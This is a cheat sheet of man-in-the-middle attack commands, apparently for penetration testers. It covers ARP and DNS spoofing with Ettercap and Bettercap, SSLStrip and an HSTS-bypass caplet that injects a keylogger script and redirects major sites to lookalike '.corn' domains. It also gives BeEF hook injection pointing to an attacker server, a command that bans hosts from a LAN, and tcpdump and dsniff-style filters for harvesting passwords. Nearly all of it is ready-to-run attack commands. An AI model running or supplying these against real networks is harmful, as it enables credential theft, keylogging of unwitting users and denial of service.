MitM Commands

Enable Routing

ifconfig wlan0 10.0.0.1 up netmask 255.255.255.0

sysctl -w net.ipv4.ip_forward=1

Simple ARP Cache Poisoning with Ettercap (old school)

ettercap -T -q -i <interface> -w dump -M ARP /<ip_target>/ /<ip_gateway>/

Note: Do not forget to enable routing, otherwise it will cut internet connection for targets.

Bettercap Web UI

bettercap -caplet https-ui -iface <interface>

Bettercap LAN Recon

net.recon on # Periodically read ARP table in order to detect new hosts on LAN

net.probe on # Send different types of probes to each IP in current subnet

IMPORTANT: net.probe MUST be put OFF before doing arp.spoof on (otherwise conflicts !)

Bettercap ARP Spoofing

arp.spoof off

net.probe off # IMPORTANT: Avoid conflict with ARP spoofing

set arp.spoof.targets <IP_target> # support IP addres / IP ranges/ MAC address

set arp.spoof.internal true# Enable ARP spoofing on internal network

arp.spoof on

Bettercap DNS Spoofing

```
dns.spoof off
set dns.spoof.domains <domain1>,<domain2>,...
set dns.spoof.address <Target address>
set dns.spoof.all true        # Spoof entire subnet
dns.spoof on
```

Important: It is also required to ARP spoof subnet or the target !

Full Traffic Capture

```
net.sniff off
set net.sniff.local true
set net.sniff.verbose 'true'
set net.sniff.output 'capture.pcap'
net.sniff on
```

Passwords Sniffing

```
net.sniff off
set net.sniff.local true
set net.sniff.regexp '.*password=.+'
set net.sniff.verbose 'true'
set net.sniff.output 'passwords.pcap'
net.sniff on
```

Bettercap HTTP(S) Proxy

```
net.probe off
arp.spoof off
http.proxy off
set http.proxy.sslstrip true                # SSLStrip will only work on HTTPS website without HSTS
set net.sniff.verbose false
```

```
set arp.spoof.targets <IP_target>
hstshijack/hstshijack                    # Use caplet hstshijack that bypass HSTS
when misconfigured
arp.spoof on
http.proxy on
net.sniff on
```

Bettercap hstshijack Caplet

HSTS can be bypassed when:

- Server's domain has not been added to the HSTS preload list with the IncludeSubdomains attribute set.
- Server replies with HSTS headers, but without IncludeSubdomains attribute set.

```
set hstshijack.log          = /usr/share/bettercap/caplets/hstshijack/ssl.log
set hstshijack.ignore       = *
set hstshijack.targets      =twitter.com,*.twitter.com,facebook.com,*.facebook.com,
                            apple.com,*.apple.com,ebay.com,*.ebay.com,www.linkedin.com
set hstshijack.replacements =twitter.corn,*.twitter.corn,facebook.corn,*.facebook.corn,
                            apple.corn,*.apple.corn,ebay.corn,*.ebay.corn,linkedin.com
set hstshijack.obfuscate    =alse
set hstshijack.encode       =false
set hstshijack.payloads     = *:/usr/share/bettercap/caplets/hstshijack/payloads/
                            keylogger.js
set http.proxy.script       =/usr/share/bettercap/caplets/hstshijack/hstshijack.js
set dns.spoof.domains  twitter.corn,*.twitter.corn,facebook.corn,*.facebook.corn,
                            apple.corn,*.apple.corn,ebay.corn,*.ebay.corn,linkedin.com
http.proxy  on
dns.spoof   on
```

Bettercap HTTP Proxy + JS Injection (Beef)

1. Start Beef service
2. Edit caplets/beef-inject.js with attacker's IP:

'<script type="text/javascript" src="http://<YOUR_SERVER>:3000/hook.js"></script>
</head>'

3. Run bettercap commands:

    net.probe off

    arp.spoof off

    http.proxy off

    set arp.spoof.targets <IP_target>

    beef-active

Bettercap Ban Host from LAN

net.probe off

arp.spoof off

set arp.spoof.targets <IP_target>

arp.ban on

Tcpdump Sniffing

- Sniff anything on one interface:

    tcpdump -i <interface>

- Filtering on host (source/destination/any):

    tcpdump -i <interface> host <IP>

    tcpdump -i <interface> src host <IP>

    tcpdump -i <interface> dst host <IP>

    tcpdump -i <interface> ether host <MAC>

    tcpdump -i <interface> ether src host <MAC>

    tcpdump -i <interface> ether dst host <MAC>

- Filtering on port (source/destination/any):

    tcpdump -i <interface> port <port>

    tcpdump -i <interface> src port <port>

    tcpdump -i <interface> dst port <port>

- Filtering on network (e.g. network=192.168)

    tcpdump -i <interface> net <network>

    tcpdump -i <interface> src net <network>

    tcpdump -i <interface> dst net <network>

- Protocol filtering

    tcpdump -i <interface> arp

    tcpdump -i <interface> ip

    tcpdump -i <interface> tcp

    tcpdump -i <interface> udp

    tcpdump -i <interface> icmp

- Condition usage example

    tcpdump -i <interface> '((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))'

- Disable name resolution

    tcpdump -i <interface> -n

- Make sure to capture whole packet (no truncation)

    tcpdump -i <interface> -s 0

- Write full pcap file

    tcpdump -i <interface> -s 0 -w capture.pcap

- Show DNS traffic

    tcpdump -i <interface> -nn -l udp port 53

- Show HTTP User-Agent & Hosts

    tcpdump -i <interface> -nn -l -A -s1500 | egrep -i 'User-Agent:|Host:'

- Show HTTP Requests & Hosts

    tcpdump -i <interface> -nn -l -s 0 -v | egrep -i "POST /|GET /|Host:"

- Show email recipients

    tcpdump -i <interface> -nn -l port 25 | egrep -i 'MAIL FROM\|RCPT TO'

- Show FTP data

    tcpdump -i <interface> -nn -v port ftp or ftp-data

- Show all passwords different protocols

tcpdump -i wlan0 port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '

Sensitive Data Sniffing (Passwords, Hashs...)

- With PCredz:

    ./Pcredz -f <pcapfile> # extract credentials from a pcap file

    ./Pcredz -i <interface> -v # extract credentials from a live packet capture on a network interface

- With net-creds:

    python net-creds.py -p <pcapfile>

    python net-creds.py -i <interface>

- With dsniff:

    dsniff -p <pcapfile>

    dsniff -i <interface>

- URLs sniffing with urlsnarf:

    urlsnarf -p <pcapfile>

    urlsnarf -i <interface>